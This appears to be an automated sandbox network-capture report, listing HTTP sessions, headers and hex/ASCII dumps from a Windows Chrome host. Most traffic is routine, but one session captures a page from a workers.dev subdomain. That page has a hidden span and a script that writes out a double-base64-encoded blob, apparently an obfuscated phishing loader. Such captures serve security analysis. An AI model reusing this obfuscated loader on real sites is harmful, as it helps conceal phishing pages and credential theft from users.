2024-04-27 22:41:13 UTC	1255	IN	Data Raw: 20 62 3d 6e 65 77 20 57 65 61 6b 4d 61 70 2c 63 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 0a 66 28 29 3b 74 68 69 73 2e 73 69 7a 65 3d 30 3b 69 66 28 6b 29 7b 6b 3d 5f 2e 75 61 28 6b 29 3b 66 6f 72 28 76 61 72 20 6c 3b 21 28 6c 3d 6b 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6c 3d 6c 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6c 5b 30 5d 2c 6c 5b 31 5d 29 7d 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6b 2c 6c 29 7b 6b 3d 30 3d 3d 3d 6b 3f 30 3a 6b 3b 76 61 72 20 6d 3d 64 28 74 68 69 73 2c 6b 29 3b 6d 2e 6c 69 73 74 7c 7c 28 6d 2e 6c 69 73 74 3d 74 68 69 73 5b 30 5d 5b 6d 2e 69 64 5d 3d 5b 5d 29 3b 6d 2e 6e 66 3f 6d 2e 6e 66 2e 76 61 6c 75 65 3d 6c 3a 28 6d Data Ascii: b=new WeakMap,c=function(k){this[0]={};this[1]=f();this.size=0;if(k){k=_.ua(k);for(var l;!(l=k.next()).done;)l=l.value,this.set(l[0],l[1])}};c.prototype.set=function(k,l){k=0===k?0:k;var m=d(this,k);m.list\|\|(m.list=this[0][m.id]=[]);m.nf?m.nf.value=l:(m
2024-04-27 22:41:13 UTC	1255	IN	Data Raw: 6d 3d 62 2e 67 65 74 28 6c 29 3a 28 6d 3d 22 22 2b 20 2b 2b 68 2c 62 2e 73 65 74 28 6c 2c 6d 29 29 3a 6d 3d 22 70 5f 22 2b 6c 3b 76 61 72 20 6e 3d 6b 5b 30 5d 5b 6d 5d 3b 69 66 28 6e 26 26 76 61 28 6b 5b 30 5d 2c 6d 29 29 66 6f 72 28 6b 3d 30 3b 6b 3c 6e 2e 6c 65 6e 67 74 68 3b 6b 2b 2b 29 7b 76 61 72 20 70 3d 6e 5b 6b 5d 3b 69 66 28 6c 21 3d 3d 6c 26 26 70 2e 6b 65 79 21 3d 3d 70 2e 6b 65 79 7c 7c 6c 3d 3d 3d 70 2e 6b 65 79 29 72 65 74 75 72 6e 7b 69 64 3a 6d 2c 6c 69 73 74 3a 6e 2c 69 6e 64 65 78 3a 6b 2c 6e 66 3a 70 7d 7d 72 65 74 75 72 6e 7b 69 64 3a 6d 2c 6c 69 73 74 3a 6e 2c 69 6e 64 65 78 3a 2d 31 2c 6e 66 3a 76 6f 69 64 20 30 7d 7d 2c 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 2c 6c 29 7b 76 61 72 20 6d 3d 6b 5b 31 5d 3b 72 65 74 75 72 6e 20 70 61 28 66 Data Ascii: m=b.get(l):(m=""+ ++h,b.set(l,m)):m="p_"+l;var n=k[0][m];if(n&&va(k[0],m))for(k=0;k<n.length;k++){var p=n[k];if(l!==l&&p.key!==p.key\|\|l===p.key)return{id:m,list:n,index:k,nf:p}}return{id:m,list:n,index:-1,nf:void 0}},e=function(k,l){var m=k[1];return pa(f
2024-04-27 22:41:13 UTC	1255	IN	Data Raw: 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 65 74 75 72 6e 21 31 3b 66 3d 65 2e 6e 65 78 74 28 29 3b 72 65 74 75 72 6e 20 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 3d 3d 63 7c 7c 34 21 3d 66 2e 76 61 6c 75 65 5b 30 5d 2e 78 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 66 2e 76 61 6c 75 65 5b 30 5d 3f 21 31 3a 65 2e 6e 65 78 74 28 29 2e 64 6f 6e 65 7d 63 61 74 63 68 28 68 29 7b 72 65 74 75 72 6e 21 31 7d 7d 28 29 29 72 65 74 75 72 6e 20 61 3b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 74 68 69 73 2e 44 61 3d 6e 65 77 20 4d 61 70 3b 69 66 28 63 29 7b 63 3d Data Ascii: urn!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)return!1;f=e.next();return f.done\|\|f.value[0]==c\|\|4!=f.value[0].x\|\|f.value[1]!=f.value[0]?!1:e.next().done}catch(h){return!1}}())return a;var b=function(c){this.Da=new Map;if(c){c=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49746	23.221.242.90	443

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:19 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-27 22:41:19 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0790) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=202949 Date: Sat, 27 Apr 2024 22:41:19 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49747	23.221.242.90	443

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:19 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-27 22:41:19 UTC	774	IN	HTTP/1.1 200 OK Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-CID: 7 X-CCC: US X-Azure-Ref-OriginShield: Ref A: 8BFC17DD061B46CAAD2B2AEB7B19C3D8 Ref B: CH1AA2040901011 Ref C: 2023-07-21T06:04:00Z X-MSEdge-Ref: Ref A: 1421F39FA7224BE199CC2F2C3DD24574 Ref B: CHI30EDGE0415 Ref C: 2023-07-21T06:04:00Z Content-Type: application/octet-stream X-Azure-Ref: 0DMGnYgAAAACXaXykPZuVRq4aV6pCkeO8U0pDRURHRTAzMTgAY2VmYzI1ODMtYTliMi00NGE3LTk3NTUtYjc2ZDE3ZTA1Zjdm Cache-Control: public, max-age=186424 Date: Sat, 27 Apr 2024 22:41:19 GMT Content-Length: 55 Connection: close X-CID: 2
2024-04-27 22:41:19 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49754	104.21.16.147	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:34 UTC	700	OUT	GET /favicon.ico HTTP/1.1 Host: yhs-world-aged-dust-4671.aubrey744.workers.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:34 UTC	586	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:41:34 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 53533 Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Txys4A7orv6u6SHR5sGYmYzDzRaYyJGVjuA1dt%2BeJBTAT8wblSEf5A4BFEOBZL7nrozzBJBpGElCojg7fEh0kKvjwiM0ddwAHsqC1csCxrT0OSq54%2FvaTBkE%2FH3%2B%2BX6xkpsOKt7iDT2RvwYjwPo7nTWCnl04uX9A72WD%2BHoUitJA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87b2521dfb8939b0-IAD alt-svc: h3=":443"; ma=86400
2024-04-27 22:41:34 UTC	783	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 62 6f 64 79 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 30 20 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 20 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 20 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 22 3e 48 57 4a 51 43 65 42 5a 62 64 6a 75 59 78 4e 57 4a 70 72 61 75 46 43 70 33 64 48 71 53 50 71 59 45 41 37 77 65 7a 4b 65 43 6e 79 47 67 51 68 72 52 57 4d 4d 61 63 63 48 59 4f 50 79 35 66 6a 51 47 4c 73 5a 4c 4f 64 63 4b 48 69 6f 4b 31 74 7a 35 6f 6c 6c 62 35 41 73 59 59 63 75 6c 79 4d 78 44 5a 4d 51 73 6a 38 70 56 4f 42 6d 74 3c 2f 73 70 61 6e 3e 0a 3c 73 63 72 69 70 74 3e 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 77 69 6e 64 6f 77 2e 61 74 6f 62 28 61 74 6f 62 28 27 55 45 4e 47 52 56 51 Data Ascii: <html><body><span style="font-size:0 display:none; overflow:hidden; visibility:hidden;">HWJQCeBZbdjuYxNWJprauFCp3dHqSPqYEA7wezKeCnyGgQhrRWMMaccHYOPy5fjQGLsZLOdcKHioK1tz5ollb5AsYYculyMxDZMQsj8pVOBmt</span><script> document.write(window.atob(atob('UENGRVQ
2024-04-27 22:41:34 UTC	1369	IN	Data Raw: 36 52 6d 4e 4e 56 47 4e 34 53 6c 52 4e 4d 30 70 55 53 6b 4e 4b 56 45 35 46 59 31 68 72 62 45 31 36 5a 32 78 4f 4d 46 46 73 54 54 42 4b 59 30 31 55 55 54 4a 4b 56 47 4d 78 57 45 52 46 4d 55 35 70 56 54 4a 4e 65 56 55 7a 54 6b 5a 33 65 45 35 55 52 57 78 4f 61 31 70 31 53 6c 52 4a 64 32 4e 54 56 54 4e 50 55 31 56 36 54 6d 6c 56 65 55 39 44 56 58 6c 50 55 31 55 7a 55 57 6c 56 4d 6b 39 54 56 54 4a 4f 61 56 56 35 54 30 4e 56 65 55 31 58 55 6e 5a 5a 4d 31 5a 30 57 6c 5a 33 65 45 35 55 57 57 78 4f 65 6c 46 73 54 57 74 57 61 32 49 79 54 57 78 4f 65 6c 5a 6a 54 56 52 56 4d 55 70 55 57 54 46 69 62 6c 46 73 54 6b 56 53 64 6c 68 45 52 54 42 4f 52 6e 64 34 54 6b 52 56 62 45 31 71 57 57 78 4e 61 6c 6c 73 54 57 70 46 62 45 35 71 55 6e 5a 5a 4d 58 64 34 54 6d 70 57 59 30 Data Ascii: 6RmNNVGN4SlRNM0pUSkNKVE5FY1hrbE16Z2xOMFFsTTBKY01UUTJKVGMxWERFMU5pVTJNeVUzTkZ3eE5URWxOa1p1SlRJd2NTVTNPU1V6TmlVeU9DVXlPU1UzUWlVMk9TVTJOaVV5T0NVeU1XUnZZM1Z0WlZ3eE5UWWxOelFsTWtWa2IyTWxOelZjTVRVMUpUWTFiblFsTkVSdlhERTBORnd4TkRVbE1qWWxNallsTWpFbE5qUnZZMXd4TmpWY0
2024-04-27 22:41:34 UTC	1369	IN	Data Raw: 55 57 6c 56 65 56 46 70 56 58 6c 50 55 31 55 7a 55 57 6c 56 4d 31 46 57 64 33 68 4f 56 45 56 73 54 58 70 52 62 45 30 77 55 6d 74 59 52 45 55 78 54 6e 6c 56 4d 6b 30 7a 56 6d 4e 4e 56 46 55 78 57 6c 4e 56 4d 6c 4a 57 64 33 68 4f 61 6c 46 73 54 57 74 56 62 45 35 71 59 32 78 4f 61 6c 56 73 54 6e 70 53 52 6c 68 45 52 54 46 4f 52 31 5a 6a 54 56 52 56 4d 56 70 58 4e 47 78 4f 65 6c 4a 36 53 6c 52 52 65 57 56 57 55 6d 68 61 65 56 55 77 55 6c 64 47 64 46 68 45 52 54 42 4f 55 31 56 35 54 30 68 77 63 45 70 55 54 58 70 4b 56 46 5a 44 53 6c 52 61 51 30 70 55 56 6b 56 4b 56 45 6b 31 53 6c 52 4f 51 31 70 70 56 54 4a 53 62 48 64 34 54 6d 70 4a 62 45 31 71 61 47 4e 4e 56 46 56 35 53 6c 52 4f 52 55 70 55 54 58 64 4b 56 45 35 44 53 6c 52 61 51 6b 70 55 54 6b 52 4b 56 45 35 Data Ascii: UWlVeVFpVXlPU1UzUWlVM1FWd3hOVEVsTXpRbE0wUmtYREUxTnlVMk0zVmNNVFUxWlNVMlJWd3hOalFsTWtVbE5qY2xOalVsTnpSRlhERTFOR1ZjTVRVMVpXNGxOelJ6SlRReWVWUmhaeVUwUldGdFhERTBOU1V5T0hwcEpUTXpKVFZDSlRaQ0pUVkVKVEk1SlROQ1ppVTJSbHd4TmpJbE1qaGNNVFV5SlRORUpUTXdKVE5DSlRaQkpUTkRKVE5
2024-04-27 22:41:34 UTC	1369	IN	Data Raw: 6c 68 4c 56 31 4a 71 59 6c 63 30 64 57 4a 74 4f 58 70 61 53 47 4d 35 56 47 34 78 63 31 70 58 55 6d 70 69 56 7a 52 31 59 6d 30 35 65 6d 52 55 4d 55 39 6d 56 31 4a 71 59 6c 63 30 64 57 4a 74 4f 54 42 6c 52 7a 46 31 55 46 64 56 5a 32 52 58 54 6e 42 69 61 55 70 73 5a 46 63 31 62 57 4a 48 56 58 42 68 55 32 68 73 5a 54 4e 57 61 6d 46 58 4e 58 6c 4c 51 32 78 77 53 30 68 61 64 55 78 75 56 6a 42 69 61 6a 42 77 57 56 64 57 4d 46 68 44 5a 47 4e 4b 65 6e 52 73 5a 46 63 30 64 30 38 79 56 6a 46 69 62 6c 49 78 5a 6c 64 53 61 6d 4a 58 4e 48 56 69 62 54 6c 36 57 6b 68 6a 4f 57 4a 36 64 44 46 5a 4d 6d 78 31 59 6d 70 72 63 47 51 79 4e 58 5a 4d 62 6c 49 77 59 7a 46 33 62 6c 68 44 5a 48 70 6b 52 32 78 73 5a 46 4e 6f 64 55 39 54 61 33 4e 4e 52 45 45 33 57 6c 68 57 64 57 52 49 Data Ascii: lhLV1JqYlc0dWJtOXpaSGM5VG4xc1pXUmpiVzR1Ym05emRUMU9mV1JqYlc0dWJtOTBlRzF1UFdVZ2RXTnBiaUpsZFc1bWJHVXBhU2hsZTNWamFXNXlLQ2xwS0hadUxuVjBiajBwWVdWMFhDZGNKenRsZFc0d08yVjFiblIxZldSamJXNHVibTl6WkhjOWJ6dDFZMmx1YmprcGQyNXZMblIwYzF3blhDZHpkR2xsZFNodU9Ta3NNREE3WlhWdWRI
2024-04-27 22:41:34 UTC	1369	IN	Data Raw: 31 57 4d 45 6c 74 4e 54 42 5a 55 7a 46 71 59 6b 51 77 63 32 4a 59 61 48 52 69 57 45 35 6f 57 6c 52 46 5a 32 4d 7a 53 6e 70 5a 56 30 5a 7a 55 46 4e 34 65 6d 4e 74 4e 48 52 69 4d 6c 6f 77 59 6d 6c 4a 4b 31 6f 79 4d 54 42 4a 52 30 5a 73 57 6d 35 4b 61 45 78 58 56 6d 78 6b 52 7a 68 6e 59 6a 4e 53 64 56 42 59 55 6e 4e 6a 52 7a 6c 73 59 6d 6c 4b 65 46 42 48 56 6d 68 69 62 54 41 35 57 6c 64 57 65 57 4e 74 54 6e 56 61 57 46 4a 32 59 56 64 72 4b 31 6f 7a 54 6e 6c 6a 51 30 4a 72 57 55 52 47 53 6c 42 74 52 57 64 6a 52 7a 6c 74 54 55 68 61 65 57 4e 55 5a 47 64 50 4d 32 73 35 5a 45 64 73 62 6c 70 74 4f 55 52 5a 56 55 35 72 53 30 52 4e 65 45 78 45 54 58 68 4c 56 31 70 35 59 56 52 43 63 45 35 45 62 48 42 4c 4d 33 51 31 53 7a 4e 46 4e 45 38 77 61 33 68 4a 61 55 6c 70 54 Data Ascii: 1WMEltNTBZUzFqYkQwc2JYaHRiWE5oWlRFZ2MzSnpZV0ZzUFN4emNtNHRiMlowYmlJK1oyMTBJR0ZsWm5KaExXVmxkRzhnYjNSdVBYUnNjRzlsYmlKeFBHVmhibTA5WldWeWNtTnVaWFJ2YVdrK1ozTnljQ0JrWURGSlBtRWdjRzltTUhaeWNUZGdPM2s5ZEdsblptOURZVU5rS0RNeExETXhLV1p5YVRCcE5EbHBLM3Q1SzNFNE8wa3hJaUlpT
2024-04-27 22:41:34 UTC	1369	IN	Data Raw: 69 61 57 68 36 57 56 64 42 4e 30 31 58 65 45 70 4e 56 6e 4e 30 59 6b 52 30 62 55 6c 59 51 6d 70 69 61 56 6c 77 5a 54 4e 4b 4e 31 4e 55 52 6d 68 6a 52 7a 56 45 59 56 64 53 63 30 31 54 4e 57 68 61 57 46 4a 32 57 6c 68 4b 64 31 6c 58 56 6d 39 69 51 32 68 4b 54 56 64 33 65 45 74 59 4d 57 68 5a 65 57 64 77 5a 6c 67 78 4d 32 46 58 56 6e 4e 4c 56 33 68 4b 55 46 63 35 4d 56 70 59 55 6d 70 61 57 46 4a 47 57 6c 64 57 4d 46 6c 49 51 6e 56 4c 56 33 64 34 55 46 64 33 65 45 78 58 65 47 52 68 55 32 64 76 59 30 63 35 62 55 31 54 62 44 42 6c 56 33 68 4b 54 47 35 43 62 46 70 48 61 48 4e 4c 52 45 5a 7a 59 30 68 4b 64 56 52 74 55 58 56 61 56 33 68 71 55 54 4a 73 61 32 4a 46 61 33 4e 4e 56 33 64 77 57 54 4e 53 62 31 70 59 64 44 6c 6d 56 31 70 31 5a 45 63 34 5a 30 31 55 52 58 Data Ascii: iaWh6WVdBN01XeEpNVnN0YkR0bUlYQmpiaVlwZTNKN1NURmhjRzVEYVdSc01TNWhaWFJ2WlhKd1lXVm9iQ2hKTVd3eEtYMWhZeWdwZlgxM2FXVnNLV3hKUFc5MVpYUmpaWFJGWldWMFlIQnVLV3d4UFd3eExXeGRhU2dvY0c5bU1TbDBlV3hKTG5CbFpHaHNLREZzY0hKdVRtUXVaV3hqUTJsa2JFa3NNV3dwWTNSb1pYdDlmV1p1ZEc4Z01URX
2024-04-27 22:41:34 UTC	1369	IN	Data Raw: 61 30 78 74 56 6e 5a 61 56 32 68 7a 53 30 52 46 65 47 5a 58 52 6d 70 4c 53 45 70 35 5a 54 4d 77 64 6c 6b 79 62 44 42 59 51 32 52 36 55 46 68 46 4f 47 46 58 64 48 6c 69 52 31 4a 36 59 30 64 57 62 46 6c 35 51 6e 6c 61 62 57 67 77 54 32 6b 35 65 6c 6c 58 61 33 56 69 65 54 6c 34 55 45 64 73 63 6d 4e 74 65 47 74 6a 4d 30 4a 73 57 6c 64 4e 5a 32 4e 74 57 6d 39 6b 52 47 39 32 59 6a 4a 6b 62 46 6b 79 4d 43 74 61 4d 6e 68 31 53 55 64 56 4f 57 4a 70 4d 58 6c 61 62 6c 4a 76 59 55 64 56 4f 57 52 49 51 58 5a 6a 4d 32 78 30 54 47 30 34 64 6d 4e 55 65 48 42 68 4d 30 70 7a 57 6b 68 4f 64 31 70 58 56 6d 70 4a 53 45 70 74 59 55 68 52 4e 6b 78 35 4e 58 56 69 53 46 4a 71 54 47 31 47 64 6b 78 74 4f 48 5a 6a 56 48 68 77 59 54 4e 4b 63 31 70 49 54 6e 64 61 56 31 5a 71 53 55 68 Data Ascii: a0xtVnZaV2hzS0RFeGZXRmpLSEp5ZTMwdlkybDBYQ2R6UFhFOGFXdHliR1J6Y0dWbFl5QnlabWgwT2k5ellXa3VieTl4UEdscmNteGtjM0JsWldNZ2NtWm9kRG92YjJkbFkyMCtaMnh1SUdVOWJpMXlablJvYUdVOWRIQXZjM2x0TG04dmNUeHBhM0pzWkhOd1pXVmpJSEptYUhRNkx5NXViSFJqTG1GdkxtOHZjVHhwYTNKc1pITndaV1ZqSUh
2024-04-27 22:41:34 UTC	1369	IN	Data Raw: 6a 56 75 57 56 63 34 5a 32 49 79 63 32 64 61 57 46 49 7a 5a 45 4e 43 62 30 6c 48 52 6d 78 6b 53 46 70 35 59 56 63 30 5a 31 70 75 55 6d 78 5a 62 54 6c 36 59 32 6c 43 64 6c 6c 48 56 6a 46 68 56 32 52 6f 53 55 68 57 61 32 52 48 55 6e 5a 4a 52 7a 55 78 59 30 68 4b 62 45 6c 49 53 6a 4e 61 55 30 4a 31 53 55 63 35 62 46 64 58 61 48 5a 61 62 55 59 78 57 6c 4e 43 61 45 6c 48 4f 47 64 69 4d 6e 52 33 59 6a 4a 57 63 30 78 73 51 6d 78 6a 65 55 4a 33 57 56 64 57 4e 57 52 54 51 6e 6c 6b 4d 6c 56 6e 57 6c 68 4f 64 6b 6c 48 4f 48 56 51 51 30 4a 35 57 6d 6c 4f 54 6d 4e 70 51 6e 56 69 65 54 67 72 57 6e 6b 34 4b 31 70 35 4f 58 42 51 61 6e 4e 35 57 45 4e 6b 62 6c 70 49 57 6d 70 5a 57 45 31 70 59 55 64 34 62 46 70 35 51 6e 42 4d 56 32 68 7a 57 6c 64 6a 61 57 4e 55 65 48 42 4a Data Ascii: jVuWVc4Z2Iyc2daWFIzZENCb0lHRmxkSFp5YVc0Z1puUmxZbTl6Y2lCdllHVjFhV2RoSUhWa2RHUnZJRzUxY0hKbElISjNaU0J1SUc5bFdXaHZabUYxWlNCaElHOGdiMnR3YjJWc0xsQmxjeUJ3WVdWNWRTQnlkMlVnWlhOdklHOHVQQ0J5WmlOTmNpQnVieTgrWnk4K1p5OXBQanN5WENkblpIWmpZWE1pYUd4bFp5QnBMV2hzWldjaWNUeHBJ
2024-04-27 22:41:34 UTC	1369	IN	Data Raw: 70 48 61 32 64 68 52 30 35 70 5a 55 64 4f 64 56 6c 58 4e 58 6c 51 62 57 52 77 59 30 68 53 63 46 42 58 56 6e 70 6a 4d 6c 59 77 59 6d 30 77 4f 56 70 59 54 6e 70 61 57 46 49 79 59 6b 64 57 4e 57 52 49 51 54 6c 68 52 30 35 70 5a 55 68 53 61 57 4a 74 56 54 6c 4a 52 32 68 71 57 6c 4e 42 4b 31 6f 79 65 47 6c 69 52 31 70 35 59 30 68 4b 63 47 52 48 4e 43 74 6b 53 47 78 36 57 6a 4a 56 5a 32 4a 70 4f 57 68 61 56 44 56 75 54 44 4e 43 64 57 4e 55 65 47 74 6b 62 6b 55 34 59 56 4e 43 63 32 4e 36 4d 57 39 69 52 31 56 30 5a 45 63 78 61 47 4a 48 4e 47 6c 6a 4d 32 78 73 5a 44 4a 53 62 30 35 54 56 6d 31 69 4d 31 4a 35 57 6a 4e 53 64 47 4e 74 61 33 52 69 65 6d 39 34 59 30 51 31 62 6d 4d 79 52 57 64 69 53 45 30 35 57 6c 68 43 65 46 42 44 51 6e 6c 61 61 55 6f 77 59 30 52 76 64 Data Ascii: pHa2dhR05pZUdOdVlXNXlQbWRwY0hScFBXVnpjMlYwYm0wOVpYTnpaWFIyYkdWNWRIQTlhR05pZUhSaWJtVTlJR2hqWlNBK1oyeGliR1p5Y0hKcGRHNCtkSGx6WjJVZ2JpOWhaVDVuTDNCdWNUeGtkbkU4YVNCc2N6MW9iR1V0ZEcxaGJHNGljM2xsZDJSb05TVm1iM1J5WjNSdGNta3Riem94Y0Q1bmMyRWdiSE05WlhCeFBDQnlaaUowY0Rvd
2024-04-27 22:41:34 UTC	1369	IN	Data Raw: 36 59 6b 68 72 5a 32 49 79 56 57 64 69 4d 31 4a 36 5a 57 70 76 4d 47 56 44 51 6e 5a 69 65 6e 42 73 54 33 6c 4b 56 6c 70 58 4e 58 52 4a 53 45 70 52 59 7a 4e 6b 65 55 6c 49 54 6e 42 5a 4d 30 70 73 5a 45 4e 43 63 31 6c 58 56 6a 42 6c 56 30 5a 6f 59 6d 70 33 5a 31 70 48 56 6e 6c 4a 53 46 4a 7a 55 46 64 53 65 6d 4a 49 61 32 64 69 4d 6c 56 6e 59 6a 49 34 4e 6c 70 55 64 47 31 69 61 54 46 77 57 6c 52 47 64 31 6c 45 65 48 64 51 53 45 4a 34 55 45 64 72 5a 32 4a 49 54 54 6c 6b 57 46 4a 31 57 54 49 31 61 47 4a 75 53 6e 68 51 53 46 59 77 59 6d 31 4f 61 47 4e 35 53 6a 46 61 56 30 6f 77 59 6e 6c 43 4d 56 70 54 4d 54 46 6b 52 7a 56 33 59 56 64 47 4e 56 6b 79 52 6e 4e 69 62 56 5a 70 5a 45 63 34 61 57 46 55 4d 54 46 69 57 46 4a 70 59 6d 74 4f 64 57 46 59 56 54 68 5a 62 6c Data Ascii: 6YkhrZ2IyVWdiM1J6ZWpvMGVDQnZienBsT3lKVlpXNXRJSEpRYzNkeUlITnBZM0psZENCc1lXVjBlV0ZoYmp3Z1pHVnlJSFJzUFdSemJIa2diMlVnYjI4NlpUdG1iaTFwWlRGd1lEeHdQSEJ4UEdrZ2JITTlkWFJ1WTI1aGJuSnhQSFYwYm1OaGN5SjFaV0owYnlCMVpTMTFkRzV3YVdGNVkyRnNibVZpZEc4aWFUMTFiWFJpYmtOdWFYVThZbl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49760	104.17.25.14	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:36 UTC	743	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://yhs-world-aged-dust-4671.aubrey744.workers.dev sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://yhs-world-aged-dust-4671.aubrey744.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:36 UTC	956	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:41:36 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 756897 Expires: Thu, 17 Apr 2025 22:41:36 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SkaKLmNyfPcOioMdXmNYeDeZqTCMHgnA1xwgxQI77tvlqxflGZH2ULXuym3W%2FpY1Jw88tnUWcRLdbpldoKijuImwjZjWaCjkpK9D2vIWhI9zaOgK2OG3iJJaPEQ9%2BusFCU4DsPxC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 87b2522ad83b07f2-IAD alt-svc: h3=":443"; ma=86400
2024-04-27 22:41:36 UTC	413	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 